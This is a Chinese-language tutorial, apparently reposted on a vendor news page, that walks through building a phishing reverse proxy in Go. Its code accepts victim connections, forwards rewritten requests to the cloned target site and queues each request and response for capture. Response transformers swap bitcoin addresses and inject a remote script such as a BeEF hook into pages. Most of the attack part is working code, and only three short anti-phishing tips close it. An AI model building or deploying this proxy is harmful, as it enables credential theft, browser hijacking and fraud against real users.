您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關如何在中使用反向代理進行網絡釣魚測試,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
對于一個攻擊者來說,要想實施一次網絡釣魚攻擊,往往需要做大量的準備工作。例如搭建釣魚站點,引誘受害者上鉤,捕獲受害者的登錄憑證等。我將教大家使用Go自動化這些過程。
代理被用來釣魚TechOnRoad用戶。你能看出它們之間的差別嗎?
我們的代理需要接收來自受害者的請求,并在發送到目標網站之前重寫它們。Go有著許多在原生層面對并發編程進行支持的優秀特性,比如Goroutines、Channels等。我們建立了一個簡單的TCP偵聽器,spawn了一個新的goroutine來處理每個傳入的連接和一個goroutine worker來處理請求和響應。結果通過channel從請求處理goroutine傳遞給worker。
// HTTPTransaction represents a complete request - response flow. type HTTPTransaction struct { Request *http.Request Response *http.Response } // PhishingProxy proxies requests between the victim and the target, queuing requests and responses for further processing. type PhishingProxy struct { client *http.Client targetURL *url.URL responseTransformers []ResponseTransformer } func main() { // ... flag parsing and whatnot phishingProxy := &PhishingProxy{ client: client, targetURL: u, responseTransformers: responseTransformers, } transactions := make(chan *HTTPTransaction) go processTransactions(transactions) for { conn, err := server.Accept() if err != nil { log.Println("Error when accepting request,", err.Error()) } go phishingProxy.HandleConnection(conn, transactions) } }
由于Go的優秀標準庫,請求處理非常簡潔。http包提供ReadRequest方法,用于解析從連接中讀取數據的請求。
defer conn.Close() reader := bufio.NewReader(conn) request, err := http.ReadRequest(reader) if err != nil { log.Println("Error parsing request:", err.Error()) return }
將所有內容解析成Golang http.Request后,我們將它傳遞給目標。代理需要重寫來自受害者的HTTP頭,以防止目標站點連接中斷,特別是主機頭和URL。
request.URL.Scheme = p.targetURL.Scheme request.URL.Host = p.targetURL.Host request.Host = p.targetURL.Host request.RequestURI = "" resp, err := p.client.Do(request) if err != nil { log.Println("Proxy error:", err.Error()) return }
在代理上使用HTTP客戶端,我們發起請求并確保請求成功。
一旦我們得到響應,我們使用傳遞給代理的ResponseTransformers(后面會詳細介紹)轉換它,使用標準庫httputil.DumpResponse函數將響應轉換為字節,并將請求和響應發送給goroutine worker之后處理。
for _, transformer := range p.responseTransformers { transformer.Transform(resp) } modifiedResponse, err := httputil.DumpResponse(resp, true) if err != nil { log.Println("Error converting requests to bytes:", err.Error()) return } _, err = conn.Write(modifiedResponse) if err != nil { log.Println("Error responding to victim:", err.Error()) return } transactions <- &HTTPTransaction{ Request: request, Response: resp, }
我們通過一個channel將HTTP事務傳遞給worker,以加快我們的操作進程避免受害者發生某些錯誤。
只需指向該代理,就能完美克隆目標網站。
// ResponseTransformer modifies a response in any way we see fit, such as inserting extra JavaScript. type ResponseTransformer interface { Transform(response *http.Response) error }
ResponseTransformer允許你修改響應。我們可以用它來任何想做的事情,例如將自定義JavaScript注入到頁面,或者將比特幣地址替換成我們自己的。這對于那些在默認代理中無法100%工作的網站也很有用。
JavaScriptInjectionTransformer使用GoQuery將HTML響應解析到DOM樹中,并使用我們傳遞給transformer的URL注入腳本標簽。我們可以使用它來注入BeEF hook或繞過網站的安全防護。
// JavaScriptInjectionTransformer holds JavaScript filename for injecting into response. type JavaScriptInjectionTransformer struct { javascriptURL string } // Transform Injects JavaScript into an HTML response. func (j JavaScriptInjectionTransformer) Transform(response *http.Response) error { if !strings.Contains(response.Header.Get("Content-Type"), "text/html") { return nil } // Prevent NewDocumentFromReader from closing the response body. responseText, err := ioutil.ReadAll(response.Body) responseBuffer := bytes.NewBuffer(responseText) response.Body = ioutil.NopCloser(responseBuffer) if err != nil { return err } document, err := goquery.NewDocumentFromReader(responseBuffer) if err != nil { return err } payload := fmt.Sprintf("<script type='text/javascript' src='%s'></script>", j.javascriptURL) selection := document. Find("head"). AppendHtml(payload). Parent() html, err := selection.Html() if err != nil { return err } response.Body = ioutil.NopCloser(bytes.NewBufferString(html)) return nil }
這類的釣魚攻擊并不是沒有破綻,其實只要我們稍微細心觀察,就能避免掉落壞人的陷阱。為此,我向大家提出以下幾點建議:
為你登錄的網站添加書簽,并僅使用該書簽訪問該網站
即使看到綠色安全提示,也要在登錄前仔細檢查網站的URL是否正常
仔細檢查通過電子郵件發送給你的任何鏈接并謹慎點擊
看完上述內容,你們對如何在中使用反向代理進行網絡釣魚測試有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。